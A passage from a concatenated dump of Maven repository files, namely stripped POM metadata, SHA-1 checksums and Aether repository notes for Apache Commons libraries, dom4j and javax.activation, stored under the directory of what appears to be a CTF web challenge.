Shaun Kalley Tetsuya Kaneuchi Nissim Karpenstein Ed Korthof Holger Krauth Rafal Krupinski Rafal Krzewski Craig R. McClanahan Rand McNeely Hendrik Maryns Dave Meikle Nikolay Metchev Kasper Nielsen Tim O'Brien Brian S O'Neill Andrew C. Oliver Alban Peignier Moritz Petersen Dmitri Plotnikov Neeme Praks Eric Pugh Stephen Putman Travis Reeder Antony Riley Scott Sanders Ralph Schaer Henning P. Schmiedehausen Sean Schofield Robert Scholte Reuben Sivan Ville Skytta Jan Sorensen Glen Stampoultzis Scott Stanchfield Jon S. Stevens Sean C. Sullivan Ashwin Suresh Helge Tesgaard Arun Mammen Thomas Masato Tezuka Jeff Varszegi Chris Webb Mario Winterer Stepan Koltsov Holger Hoffstatte Derek C. Ashmore junit junit 3.8.1 test UTF-8 UTF-8 1.3 1.3 lang 2.5 LANG 12310481 **/RandomUtilsFreqTest.java org.apache.maven.plugins maven-surefire-plugin **/*Test.java **/EntitiesPerformanceTest.java ${random.exclude.test} maven-assembly-plugin src/assembly/bin.xml src/assembly/src.xml gnu test-random-freq org.apache.maven.plugins maven-surefire-plugin **/RandomUtilsFreqTest.java org.apache.maven.plugins maven-changes-plugin 2.3 ${basedir}/src/site/changes/changes.xml %URL%/%ISSUE% changes-report maven-checkstyle-plugin 2.3 ${basedir}/checkstyle.xml false org.codehaus.mojo clirr-maven-plugin 2.2.2 2.4 info ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.5/commons-lang-2.5.pom.sha1 ================================================ 4fca8db5890f26627b09ab48d8888256ccb38dbb ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:27 CST 2018 commons-logging-1.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.0/commons-logging-1.0.pom ================================================ 4.0.0 commons-logging commons-logging 1.0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.0/commons-logging-1.0.pom.sha1 ================================================ 4f58df6cca7ad7b863e8186e5dc25a8ef502e374 /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-logging/commons-logging/1.0/commons-logging-1.0.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.0.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:16 CST 2018 commons-logging-1.0.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.0.3/commons-logging-1.0.3.pom ================================================ 4.0.0 commons-logging commons-logging Logging 1.0.3 Commons Logging http://jakarta.apache.org/commons/logging/ 2001 log4j log4j 1.2.6 true logkit logkit 1.0.1 true junit junit 3.7 test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.0.3/commons-logging-1.0.3.pom.sha1 ================================================ b7de43bb310eb1dbfd00a34cec30500fa13cb577 /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-logging/commons-logging/1.0.3/commons-logging-1.0.3.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.0.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:35 CST 2018 commons-logging-1.0.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.0.4/commons-logging-1.0.4.pom ================================================ 4.0.0 commons-logging commons-logging Logging 1.0.4 Commons Logging is a thin adapter allowing configurable bridging to other, well known logging systems. http://jakarta.apache.org/commons/logging/ http://issues.apache.org/bugzilla/
      commons-dev@jakarta.apache.org
      2001 Commons Dev List commons-dev-subscribe@jakarta.apache.org commons-dev-unsubscribe@jakarta.apache.org http://nagoya.apache.org/eyebrowse/SummarizeList?listName=commons-dev@jakarta.apache.org Commons User List commons-user-subscribe@jakarta.apache.org commons-user-unsubscribe@jakarta.apache.org http://nagoya.apache.org/eyebrowse/SummarizeList?listName=commons-user@jakarta.apache.org morgand Morgan Delagrange morgand at apache dot org Apache Java Developer rwaldhoff Rodney Waldhoff rwaldhoff at apache org Apache Software Foundation craigmcc Craig McClanahan craigmcc at apache org Apache Software Foundation sanders Scott Sanders sanders at apache dot org Apache Software Foundation rdonkin Robert Burrell Donkin rdonkin at apache dot org Apache Software Foundation donaldp Peter Donald donaldp at apache dot org costin Costin Manolache costin at apache dot org Apache Software Foundation rsitze Richard Sitze rsitze at apache dot org Apache Software Foundation baliuka Juozas Baliuka baliuka@apache.org Java Developer The Apache Software License, Version 2.0 /LICENSE.txt scm:cvs:pserver:anoncvs@cvs.apache.org:/home/cvspublic:jakarta-commons/logging http://cvs.apache.org/viewcvs/jakarta-commons/logging/ The Apache Software Foundation http://jakarta.apache.org src/java src/test maven-surefire-plugin **/AvalonLoggerTest.java log4j log4j 1.2.6 true logkit logkit 1.0.1 true junit junit 3.7 test avalon-framework avalon-framework 4.1.3 true default Default Repository file:///www/jakarta.apache.org/builds/jakarta-commons/logging/ default Default Site scp://jakarta.apache.org//www/jakarta.apache.org/commons/logging/
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.0.4/commons-logging-1.0.4.pom.sha1 ================================================ 7d32e7520b801cabc3dc704d2afe59d020d00c45 /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-logging/commons-logging/1.0.4/commons-logging-1.0.4.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:18 CST 2018 commons-logging-1.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.1/commons-logging-1.1.pom ================================================ 4.0.0 commons-logging commons-logging Logging 1.1 Commons Logging is a thin adapter allowing configurable bridging to other, well known logging systems. http://jakarta.apache.org/commons/${pom.artifactId.substring(8)}/ http://issues.apache.org/bugzilla/
      commons-dev@jakarta.apache.org
      2001 Commons Dev List commons-dev-subscribe@jakarta.apache.org commons-dev-unsubscribe@jakarta.apache.org http://mail-archives.apache.org/mod_mbox/jakarta-commons-dev/ Commons User List commons-user-subscribe@jakarta.apache.org commons-user-unsubscribe@jakarta.apache.org http://mail-archives.apache.org/mod_mbox/jakarta-commons-user/ morgand Morgan Delagrange morgand at apache dot org Apache Java Developer rwaldhoff Rodney Waldhoff rwaldhoff at apache org Apache Software Foundation craigmcc Craig McClanahan craigmcc at apache org Apache Software Foundation sanders Scott Sanders sanders at apache dot org Apache Software Foundation rdonkin Robert Burrell Donkin rdonkin at apache dot org Apache Software Foundation donaldp Peter Donald donaldp at apache dot org costin Costin Manolache costin at apache dot org Apache Software Foundation rsitze Richard Sitze rsitze at apache dot org Apache Software Foundation baliuka Juozas Baliuka baliuka@apache.org Java Developer skitching Simon Kitching skitching@apache.org Apache Software Foundation dennisl Dennis Lundberg dennisl@apache.org Apache Software Foundation bstansberry Brian Stansberry The Apache Software License, Version 2.0 /LICENSE.txt scm:svn:http://svn.apache.org/repos/asf/jakarta/commons/proper/${pom.artifactId.substring(8)}/trunk http://svn.apache.org/repos/asf/jakarta/commons/proper/${pom.artifactId.substring(8)}/trunk The Apache Software Foundation http://jakarta.apache.org src/java src/test maven-surefire-plugin **/AvalonLoggerTest.java maven-xdoc-plugin 1.9.2 <strong>Site Only</strong> - v1.9.2 (minimum) log4j log4j 1.2.12 logkit logkit 1.0.1 junit junit 3.8.1 test avalon-framework avalon-framework 4.1.3 javax.servlet servlet-api 2.3 default Default Repository file:///www/jakarta.apache.org/builds/jakarta-commons/${pom.artifactId.substring(8)}/ default Default Site scp://cvs.apache.org//www/jakarta.apache.org/commons/${pom.artifactId.substring(8)}/ converted
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.1/commons-logging-1.1.pom.sha1 ================================================ d80c5278c4f112aba0a6e987d7321676ce074a22 /home/csanchez/repository-staging/to-ibiblio/maven2/commons-logging/commons-logging/1.1/commons-logging-1.1.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.1.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 commons-logging-1.1.1.jar>central= commons-logging-1.1.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.1.1/commons-logging-1.1.1.jar.sha1 ================================================ 5043bfebc3db072ed80fbd362e7caf00e885d8ae ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.1.1/commons-logging-1.1.1.pom ================================================ org.apache.commons commons-parent 5 4.0.0 commons-logging commons-logging Commons Logging 1.1.1 Commons Logging is a thin adapter allowing configurable bridging to other, well known logging systems. http://commons.apache.org/logging JIRA http://issues.apache.org/jira/browse/LOGGING 2001 morgand Morgan Delagrange morgand at apache dot org Apache Java Developer rwaldhoff Rodney Waldhoff rwaldhoff at apache org Apache Software Foundation craigmcc Craig McClanahan craigmcc at apache org Apache Software Foundation sanders Scott Sanders sanders at apache dot org Apache Software Foundation rdonkin Robert Burrell Donkin rdonkin at apache dot org Apache Software Foundation donaldp Peter Donald donaldp at apache dot org costin Costin Manolache costin at apache dot org Apache Software Foundation rsitze Richard Sitze rsitze at apache dot org Apache Software Foundation baliuka Juozas Baliuka baliuka@apache.org Java Developer skitching Simon Kitching skitching@apache.org Apache Software Foundation dennisl Dennis Lundberg dennisl@apache.org Apache Software Foundation bstansberry Brian Stansberry scm:svn:http://svn.apache.org/repos/asf/commons/proper/logging/tags/commons-logging-1.1.1 scm:svn:https://svn.apache.org/repos/asf/commons/proper/logging/tags/commons-logging-1.1.1 http://svn.apache.org/repos/asf/commons/proper/logging/tags/commons-logging-1.1.1 src/java src/test src/test false **/*.properties org.apache.maven.plugins maven-jar-plugin src/conf/MANIFEST.MF testjar package test-jar commons-logging org.apache.maven.plugins maven-antrun-plugin 1.1 apijar package run adaptersjar package run site.resources site run org.codehaus.mojo build-helper-maven-plugin 1.0 attach-artifacts package attach-artifact ${project.build.directory}/${project.artifactId}-adapters-${project.version}.jar jar adapters ${project.build.directory}/${project.artifactId}-api-${project.version}.jar jar api org.apache.maven.plugins maven-release-plugin 2.0-beta-6 site deploy -Prelease org.apache.maven.plugins maven-surefire-plugin **/AvalonLoggerTestCase.java integration-test integration-test test **/*TestCase.java commons-logging target/${project.build.finalName}.jar commons-logging-api target/${project.artifactId}-api-${project.version}.jar commons-logging-adapters target/${project.artifactId}-adapters-${project.version}.jar testclasses target/commons-logging-tests.jar org.apache.maven.plugins maven-assembly-plugin 2.2-beta-1 false false src/assembly/assembly.xml gnu org.apache.maven.plugins maven-site-plugin 2.0-beta-5 ci apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository apache.snapshots Apache Development Snapshot Repository ${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository release org.apache.maven.plugins maven-assembly-plugin single package org.apache.maven.plugins maven-deploy-plugin 2.3 ${deploy.altRepository} true junit junit 3.8.1 test log4j log4j 1.2.12 true logkit logkit 1.0.1 true avalon-framework avalon-framework 4.1.3 true javax.servlet servlet-api 2.3 provided true org.codehaus.mojo clirr-maven-plugin 2.1.1 org.codehaus.mojo jdepend-maven-plugin 2.0-beta-1 apache.website ${commons.deployment.protocol}://people.apache.org/www/commons.apache.org/logging/ 1.2 1.1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.1.1/commons-logging-1.1.1.pom.sha1 ================================================ 76672afb562b9e903674ad3a544cdf2092f1faa3 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 commons-logging-1.2.jar>central= commons-logging-1.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.2/commons-logging-1.2.jar.sha1 ================================================ 4bfc12adfe4842bf07b657f0369c4cb522955686 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.2/commons-logging-1.2.pom ================================================ org.apache.commons commons-parent 34 4.0.0 commons-logging commons-logging Apache Commons Logging 1.2 Apache Commons Logging is a thin adapter allowing configurable bridging to other, well known logging systems. http://commons.apache.org/proper/commons-logging/ JIRA http://issues.apache.org/jira/browse/LOGGING 2001 baliuka Juozas Baliuka baliuka@apache.org Java Developer morgand Morgan Delagrange morgand@apache.org Apache Java Developer donaldp Peter Donald donaldp@apache.org rdonkin Robert Burrell Donkin rdonkin@apache.org The Apache Software Foundation skitching Simon Kitching skitching@apache.org The Apache Software Foundation dennisl Dennis Lundberg dennisl@apache.org The Apache Software Foundation costin Costin Manolache costin@apache.org The Apache Software Foundation craigmcc Craig McClanahan craigmcc@apache.org The Apache Software Foundation tn Thomas Neidhart tn@apache.org The Apache Software Foundation sanders Scott Sanders sanders@apache.org The Apache Software Foundation rsitze Richard Sitze rsitze@apache.org The Apache Software Foundation bstansberry Brian Stansberry rwaldhoff Rodney Waldhoff rwaldhoff@apache.org The Apache Software Foundation Matthew P. Del Buono Provided patch Vince Eagen vince256 at comcast dot net Lumberjack logging abstraction Peter Lawrey Provided patch Berin Loritsch bloritsch at apache dot org Lumberjack logging abstraction JDK 1.4 logging abstraction Philippe Mouawad Provided patch Neeme Praks neeme at apache dot org Avalon logging abstraction scm:svn:http://svn.apache.org/repos/asf/commons/proper/logging/trunk scm:svn:https://svn.apache.org/repos/asf/commons/proper/logging/trunk http://svn.apache.org/repos/asf/commons/proper/logging/trunk org.apache.maven.plugins maven-jar-plugin testjar package test-jar commons-logging apijar package jar ${project.artifactId}-api-${project.version} org/apache/commons/logging/*.class org/apache/commons/logging/impl/LogFactoryImpl*.class org/apache/commons/logging/impl/WeakHashtable*.class org/apache/commons/logging/impl/SimpleLog*.class org/apache/commons/logging/impl/NoOpLog*.class org/apache/commons/logging/impl/Jdk14Logger.class META-INF/LICENSE.txt META-INF/NOTICE.txt **/package.html adaptersjar package jar ${project.artifactId}-adapters-${project.version} org/apache/commons/logging/impl/**.class META-INF/LICENSE.txt META-INF/NOTICE.txt org/apache/commons/logging/impl/WeakHashtable*.class org/apache/commons/logging/impl/LogFactoryImpl*.class fulljar package jar ${project.artifactId}-${project.version} org.apache.maven.plugins maven-antrun-plugin site.resources site run org.codehaus.mojo build-helper-maven-plugin 1.0 attach-artifacts package attach-artifact ${project.build.directory}/${project.artifactId}-adapters-${project.version}.jar jar adapters ${project.build.directory}/${project.artifactId}-api-${project.version}.jar jar api org.apache.maven.plugins maven-surefire-plugin true org.codehaus.mojo cobertura-maven-plugin ${commons.cobertura.version} true org.apache.maven.plugins maven-failsafe-plugin ${commons.surefire.version} integration-test integration-test verify ${failsafe.runorder} **/*TestCase.java ${log4j:log4j:jar} ${logkit:logkit:jar} ${javax.servlet:servlet-api:jar} target/${project.build.finalName}.jar target/${project.artifactId}-api-${project.version}.jar target/${project.artifactId}-adapters-${project.version}.jar target/commons-logging-tests.jar org.apache.maven.plugins maven-assembly-plugin 2.3 src/main/assembly/bin.xml src/main/assembly/src.xml gnu org.apache.maven.plugins maven-dependency-plugin 2.4 properties org.apache.maven.plugins maven-scm-publish-plugin javadocs commons-logging-** junit junit 3.8.1 test log4j log4j 1.2.17 true logkit logkit 1.0.1 true avalon-framework avalon-framework 4.1.5 true javax.servlet servlet-api 2.3 provided true org.apache.maven.plugins maven-checkstyle-plugin 2.7 ${basedir}/checkstyle.xml false ${basedir}/license-header.txt org.codehaus.mojo clirr-maven-plugin 2.2.2 org.codehaus.mojo jdepend-maven-plugin 2.0-beta-1 org.codehaus.mojo findbugs-maven-plugin 2.5.2 true org.apache.maven.plugins maven-pmd-plugin 3.0.1 1.3 true ${basedir}/pmd.xml apache.website ${commons.deployment.protocol}://people.apache.org/www/commons.apache.org/logging/ 1.2 1.2 logging 1.2 LOGGING 12310484 RC2 2.12 true filesystem javax.servlet;version="[2.1.0, 3.0.0)";resolution:=optional, org.apache.avalon.framework.logger;version="[4.1.3, 4.1.5]";resolution:=optional, org.apache.log;version="[1.0.1, 1.0.1]";resolution:=optional, org.apache.log4j;version="[1.2.15, 2.0.0)";resolution:=optional ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging/1.2/commons-logging-1.2.pom.sha1 ================================================ 075c03ba4b01932842a996ef8d3fc1ab61ddeac2 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging-api/1.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 commons-logging-api-1.1.jar>central= commons-logging-api-1.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging-api/1.1/commons-logging-api-1.1.jar.sha1 ================================================ 7d4cf5231d46c8524f9b9ed75bb2d1c69ab93322 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging-api/1.1/commons-logging-api-1.1.pom ================================================ 4.0.0 commons-logging commons-logging-api Logging 1.1 Commons Logging is a thin adapter allowing configurable bridging to other, well known logging systems. http://jakarta.apache.org/commons/logging/ http://issues.apache.org/jira/browse/LOGGING
      commons-dev@jakarta.apache.org
      2001 Commons Dev List commons-dev-subscribe@jakarta.apache.org commons-dev-unsubscribe@jakarta.apache.org http://mail-archives.apache.org/mod_mbox/jakarta-commons-dev/ Commons User List commons-user-subscribe@jakarta.apache.org commons-user-unsubscribe@jakarta.apache.org http://mail-archives.apache.org/mod_mbox/jakarta-commons-user/ morgand Morgan Delagrange morgand at apache dot org Apache Java Developer rwaldhoff Rodney Waldhoff rwaldhoff at apache org Apache Software Foundation craigmcc Craig McClanahan craigmcc at apache org Apache Software Foundation sanders Scott Sanders sanders at apache dot org Apache Software Foundation rdonkin Robert Burrell Donkin rdonkin at apache dot org Apache Software Foundation donaldp Peter Donald donaldp at apache dot org costin Costin Manolache costin at apache dot org Apache Software Foundation rsitze Richard Sitze rsitze at apache dot org Apache Software Foundation baliuka Juozas Baliuka baliuka@apache.org Java Developer skitching Simon Kitching skitching@apache.org Apache Software Foundation dennisl Dennis Lundberg dennisl@apache.org Apache Software Foundation bstansberry Brian Stansberry The Apache Software License, Version 2.0 /LICENSE.txt scm:svn:http://svn.apache.org/repos/asf/jakarta/commons/proper/logging/trunk/ http://svn.apache.org/repos/asf/jakarta/commons/proper/logging/trunk/ The Apache Software Foundation http://jakarta.apache.org src/java src/test maven-xdoc-plugin 1.9.2 true <strong>Site Only</strong> - v1.9.2 (minimum) junit junit 3.8.1 test true default Default Repository file:///www/jakarta.apache.org/builds/jakarta-commons/logging/ default Default Site scp://people.apache.org//www/jakarta.apache.org/commons/logging/ converted
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-logging/commons-logging-api/1.1/commons-logging-api-1.1.pom.sha1 ================================================ 825395875e4a7ac53277f5f746085a3e13a04248 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-pool/commons-pool/1.5.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 commons-pool-1.5.4.jar>central= commons-pool-1.5.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-pool/commons-pool/1.5.4/commons-pool-1.5.4.jar.sha1 ================================================ 75b6e20c596ed2945a259cea26d7fadd298398e6 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-pool/commons-pool/1.5.4/commons-pool-1.5.4.pom ================================================ org.apache.commons commons-parent 12 4.0.0 commons-pool commons-pool 1.5.4 Commons Pool 2001 Commons Object Pooling Library http://commons.apache.org/pool/ jira http://issues.apache.org/jira/browse/POOL scm:svn:http://svn.apache.org/repos/asf/commons/proper/pool/trunk scm:svn:https://svn.apache.org/repos/asf/commons/proper/pool/trunk http://svn.apache.org/viewvc/commons/proper/pool/trunk Morgan Delagrange morgand Geir Magnusson geirm Craig McClanahan craigmcc Rodney Waldhoff rwaldhoff David Weinrich dweinr1 Dirk Verbeeck dirkv Robert Burrell Donkin rdonkin Apache Software Foundation Sandy McArthur sandymac Apache Software Foundation Phil Steitz psteitz Apache Software Foundation Todd Carmichael toddc@concur.com junit junit 3.8.2 test apache.website Apache Commons Site ${commons.deployment.protocol}://people.apache.org/www/commons.apache.org/pool UTF-8 UTF-8 1.3 1.3 pool 1.5.4 POOL 12310488 org.apache.maven.plugins maven-source-plugin 2.1 src/java src/test org.apache.maven.plugins maven-surefire-plugin org/apache/commons/pool/TestBaseObjectPool.java org/apache/commons/pool/TestBaseKeyedObjectPool.java org/apache/commons/pool/TestBasePoolableObjectFactory.java org/apache/commons/pool/TestBaseKeyedPoolableObjectFactory.java org/apache/commons/pool/TestPoolUtils.java org/apache/commons/pool/impl/TestStackObjectPool.java org/apache/commons/pool/impl/TestStackKeyedObjectPool.java org/apache/commons/pool/impl/TestGenericObjectPool.java org/apache/commons/pool/impl/TestGenericKeyedObjectPool.java org/apache/commons/pool/impl/TestSoftReferenceObjectPool.java org/apache/commons/pool/impl/TestGenericObjectPoolFactory.java org/apache/commons/pool/impl/TestStackObjectPoolFactory.java org/apache/commons/pool/impl/TestGenericKeyedObjectPoolFactory.java org/apache/commons/pool/impl/TestStackKeyedObjectPoolFactory.java org/apache/commons/pool/composite/TestFifoLender.java org/apache/commons/pool/composite/TestIdleEvictorLender.java org/apache/commons/pool/composite/TestInvalidEvictorLender.java org/apache/commons/pool/composite/TestLifoLender.java org/apache/commons/pool/composite/TestNullLender.java org/apache/commons/pool/composite/TestSoftLender.java org/apache/commons/pool/composite/TestFailManager.java org/apache/commons/pool/composite/TestGrowManager.java org/apache/commons/pool/composite/TestIdleLimitManager.java org/apache/commons/pool/composite/TestFailLimitManager.java org/apache/commons/pool/composite/TestWaitLimitManager.java org/apache/commons/pool/composite/TestNullTracker.java org/apache/commons/pool/composite/TestReferenceTracker.java org/apache/commons/pool/composite/TestDebugTracker.java org/apache/commons/pool/composite/TestSimpleTracker.java org/apache/commons/pool/composite/TestCompositeObjectPool.java org/apache/commons/pool/composite/TestCompositeKeyedObjectPool.java org/apache/commons/pool/composite/TestCompositeKeyedObjectPool2.java org/apache/commons/pool/composite/TestCompositeKeyedObjectPoolFactory.java maven-assembly-plugin src/assembly/bin.xml src/assembly/src.xml gnu org.apache.maven.plugins maven-source-plugin true true org.apache.maven.plugins maven-changes-plugin 2.0 ${basedir}/xdocs/changes.xml %URL%/%ISSUE% src/template changes-report org.codehaus.mojo clirr-maven-plugin 2.2.2 1.5 info org.apache.maven.plugins maven-pmd-plugin 2.2 checkstyle.xml true 1.5 org.apache.maven.plugins maven-checkstyle-plugin 2.1 ${basedir}/checkstyle.xml false ${basedir}/license-header.txt org.codehaus.mojo findbugs-maven-plugin 1.2 Normal Default ${basedir}/findbugs-exclude-filter.xml org.codehaus.mojo cobertura-maven-plugin 2.3 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-pool/commons-pool/1.5.4/commons-pool-1.5.4.pom.sha1 ================================================ dd31854c32be18535c5b7efb5f8d39b4aef434f7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-validator/commons-validator/1.3.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 commons-validator-1.3.1.jar>central= commons-validator-1.3.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-validator/commons-validator/1.3.1/commons-validator-1.3.1.jar.sha1 ================================================ d1fd6b1510f25e827adffcf17de3c85fa00e9391 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-validator/commons-validator/1.3.1/commons-validator-1.3.1.pom ================================================ 4.0.0 commons-validator commons-validator Validator 1.3.1 Commons Validator provides the building blocks for both client side validation and server side data validation. It may be used standalone or with a framework like Struts. http://jakarta.apache.org/commons/${pom.artifactId.substring(8)}/ http://issues.apache.org/jira/
      commons-dev@jakarta.apache.org
      2002 Commons Dev List commons-dev-subscribe@jakarta.apache.org commons-dev-unsubscribe@jakarta.apache.org http://mail-archives.apache.org/mod_mbox/jakarta-commons-dev/ Commons User List commons-user-subscribe@jakarta.apache.org commons-user-unsubscribe@jakarta.apache.org http://mail-archives.apache.org/mod_mbox/jakarta-commons-user/ mrdon Don Brown mrdon@apache.org martinc Martin Cooper martinc@apache.org dgraham David Graham dgraham@apache.org husted Ted Husted husted@apache.org rleland Rob Leland rleland at apache.org craigmcc Craig McClanahan craigmcc@apache.org jmitchell James Mitchell jmitchell NOSPAM apache.org EdgeTech, Inc niallp Niall Pemberton turner James Turner turner@apache.org dwinterfeldt David Winterfeldt dwinterfeldt@apache.org bayard Henri Yandell Saul Q Yuan Add Shane Bailey Dave Derry Tim O'Brien Scott Clasen ticktock@speakeasy.net> Marcus Brito Finish Padma Ginnaram Thomas Jacob thomas.jacob@sinnerschrader.com Adam Kramer Greg Ludington Bjorn-H. Moritz David Neuer DavidNeuer@nascopgh.com Kurt Post Arun Mammen Thomas Steven Fines steven.fines@cotelligent.com Didier Romelot didier.romelot@renault.com Steve Stair Jeremy Tan jeremytan@scualum.com 94RGt2 lmagee@biziworks.com.au Nacho G. Mac Dowell Mark Lowe mark.lowe@boxstuff.com The Apache Software License, Version 2.0 /LICENSE.txt scm:svn:http://svn.apache.org/repos/asf/jakarta/commons/proper/${pom.artifactId.substring(8)}/trunk http://svn.apache.org/viewvc The Apache Software Foundation http://jakarta.apache.org src/share src/test META-INF ${basedir} NOTICE.txt ${pom.build.unitTestSourceDirectory} **/*.xml maven-surefire-plugin **/*Test.java **/routines/BaseCalendarValidatorTest.java **/routines/BaseNumberValidatorTest.java maven-xdoc-plugin 1.9.2 <strong>Site Only</strong> - v1.9.2 (minimum) required for building the Validator Site documentation. maven-changelog-plugin 1.8.2 <strong>Site Only</strong> - v1.8.2 (minimum) required for building the Validator Site documentation. maven-changes-plugin 1.6 <strong>Site Only</strong> - v1.6 (minimum) required for building the Validator Site documentation. maven-plugins maven-cobertura-plugin 1.1.1 test Required only for generating test coverage reports. commons-beanutils commons-beanutils 1.7.0 commons-digester commons-digester 1.6 commons-logging commons-logging 1.0.4 oro oro 2.0.8 true xml-apis xml-apis 2.0.2 provided junit junit 3.8.1 test default Default Repository file:///www/jakarta.apache.org/builds/jakarta-commons/${pom.artifactId.substring(8)}/ default Default Site scp://people.apache.org//www/jakarta.apache.org/commons/${pom.artifactId.substring(8)}/ converted
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-validator/commons-validator/1.3.1/commons-validator-1.3.1.pom.sha1 ================================================ d152f01fb849a11abbc3ef8d7ed0ae8e00b3b226 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/dom4j/dom4j/1.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 dom4j-1.1.pom>central= dom4j-1.1.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/dom4j/dom4j/1.1/dom4j-1.1.jar.sha1 ================================================ 0690b3108a502c8f033ea87e7278aec309ffa668 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/dom4j/dom4j/1.1/dom4j-1.1.pom ================================================ 4.0.0 dom4j dom4j 1.1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/dom4j/dom4j/1.1/dom4j-1.1.pom.sha1 ================================================ 5e401c1611e45fb0d472073d394f891fadc99fa6 /home/projects/maven/repository-staging/to-ibiblio/maven2/dom4j/dom4j/1.1/dom4j-1.1.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/activation/activation/1.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 activation-1.1.jar>central= activation-1.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/activation/activation/1.1/activation-1.1.jar.sha1 ================================================ e6cb541461c2834bdea3eb920f1884d1eb508b50 - ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/activation/activation/1.1/activation-1.1.pom ================================================ 4.0.0 javax.activation activation 1.1 JavaBeans Activation Framework (JAF) JavaBeans Activation Framework (JAF) is a standard extension to the Java platform that lets you take advantage of standard services to: determine the type of an arbitrary piece of data; encapsulate access to it; discover the operations available on it; and instantiate the appropriate bean to perform the operation(s). http://java.sun.com/products/javabeans/jaf/index.jsp Common Development and Distribution License (CDDL) v1.0 https://glassfish.dev.java.net/public/CDDLv1.0.html repo https://maven-repository.dev.java.net/nonav/repository/javax.activation/jars/activation-1.1.jar ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/activation/activation/1.1/activation-1.1.pom.sha1 ================================================ fd9dd0faa8f03f3ce0dc4eec22e57e818d8b9897 - ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/mail/mail/1.4.7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 